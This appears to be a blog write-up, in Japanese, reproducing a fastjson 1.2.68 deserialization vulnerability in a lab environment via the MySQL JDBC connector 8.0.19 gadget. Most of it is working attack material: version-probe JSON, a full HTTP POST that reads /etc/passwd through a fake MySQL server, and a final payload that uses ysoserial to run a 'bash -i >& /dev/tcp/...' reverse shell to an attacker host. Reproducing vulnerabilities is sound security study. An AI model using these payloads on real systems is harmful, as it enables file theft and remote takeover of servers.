banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

fastjsonの脆弱性再現-1268-jdbc

1268-jdbc#

起動環境、サイトにアクセスし、ログイン部分のパッケージを取得

Pasted image 20250108144534

右括弧を削除し、エラーが発生

Pasted image 20250108144612

エラー検出 fastjson のバージョン

{
  "@type": "java.lang.AutoCloseable"

バージョンは 1.2.68

Pasted image 20250108144652

この環境は Mysql-JDBC と組み合わせて fastjson を逆シリアル化することができる

JDBC 依存関係を参照し、異なる mysql バージョンの依存関係は異なる:

https://github.com/lemono0/FastJsonParty/blob/main/Fastjson%E5%85%A8%E7%89%88%E6%9C%AC%E6%A3%80%E6%B5%8B%E5%8F%8A%E5%88%A9%E7%94%A8-Poc.md

com.mysql.jdbc.Buffer  //mysql-jdbc-5
com.mysql.cj.api.authentication.AuthenticationProvider  //mysql-connect-6
com.mysql.cj.protocol.AuthenticationProvider //mysql-connect-8

Pasted image 20250108145016

Pasted image 20250108145045

{
  "x": {
    "@type": "java.lang.Character"{
  "@type": "java.lang.Class",
  "val": "com.mysql.cj.protocol.AuthenticationProvider
		}
	}

テストの結果、mysql のバージョンは mysql-connect-8 であると判断

著者 wp によると mysql-connect のバージョンは 8 で制限条件が非常に大きく、使用可能なバージョンは 8.0.19 のみであり、ちょうどこの環境の mysql-connect のバージョンは 8.0.19 である

https://github.com/fnmsd/MySQL_Fake_Server ツールと組み合わせて利用

mysql fake server を起動

Pasted image 20250108145423

ファイル読み取りを試みる

POST /login HTTP/1.1
Host: 192.168.80.53
Content-Length: 869
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: */*
DNT: 1
Content-Type: application/json; charset=UTF-8
Origin: http://192.168.80.53
Referer: http://192.168.80.53/tologin
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=ECE08E72ED63A0332C3FE78110ED7511
Connection: close

{
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
    "proxy": {
        "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
        "connectionUrl": {
            "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
            "masters": [
                {
                    "host": "192.168.80.206"
                }
            ],
            "slaves": [],
            "properties": {
                "host": "192.168.80.206",
                "user": "fileread_/etc/passwd",
                "dbname": "dbname",
                "password": "pass",
                "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
                "autoDeserialize": "true",
                "allowLoadLocalInfile": "true"
            }
        }
    }
}

ファイルを読み取ることができる

Pasted image 20250108145946

著者が提供した ysoserial-0.0.6-SNAPSHOT-all.jar を使用し、Mysql-Fake-Server の下にアップロードすると、server.py から直接読み取ることができる

Pasted image 20250108151214

最終的なスクリプトは以下の通り:

{
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
    "proxy": {
        "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
        "connectionUrl": {
            "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
            "masters": [
                {
                    "host": "192.168.80.206"
                }
            ],
            "slaves": [],
            "properties": {
                "host": "192.168.80.206",
                "user": "yso_FastJson1_bash -i >& /dev/tcp/192.168.80.206/1234 0>&1",
                "dbname": "dbname",
                "password": "pass",
                "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
                "autoDeserialize": "true",
                "allowLoadLocalInfile": "true"
            }
        }
    }
}

ペイロードを送信

Pasted image 20250108152425

シェルを返す

Pasted image 20250108152509

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。